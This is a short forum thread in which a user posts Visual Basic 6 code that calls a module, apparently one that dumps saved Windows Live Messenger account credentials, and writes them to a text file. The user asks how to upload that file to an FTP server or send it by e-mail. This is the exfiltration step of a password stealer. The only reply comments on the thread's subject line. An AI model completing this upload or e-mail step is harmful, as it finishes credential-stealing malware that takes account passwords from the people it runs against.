Read this please help.

can anybody tell me how to
get this to upload the txt file to a ftp server
or sending it by e-mail

Option Explicit

Public Sub Main()
Dim sPath As String
Dim sRet As String

sPath = IIf(Right$(App.Path, 1) = "\", App.Path, App.Path & "\")
sRet = mMessengerPass.EnumWLMAccounts
If LenB(sRet) Then
Open sPath & "WLMP.txt" For Append As #1
Print #1, sRet
Close #1
End If

End Sub

http://www.vbforums.com/attachment.p...id=47243&stc=1

Next time you create a thread please use a more informative Subject. In this case something like How do I upload a txt file to an ftp server?.

yea okay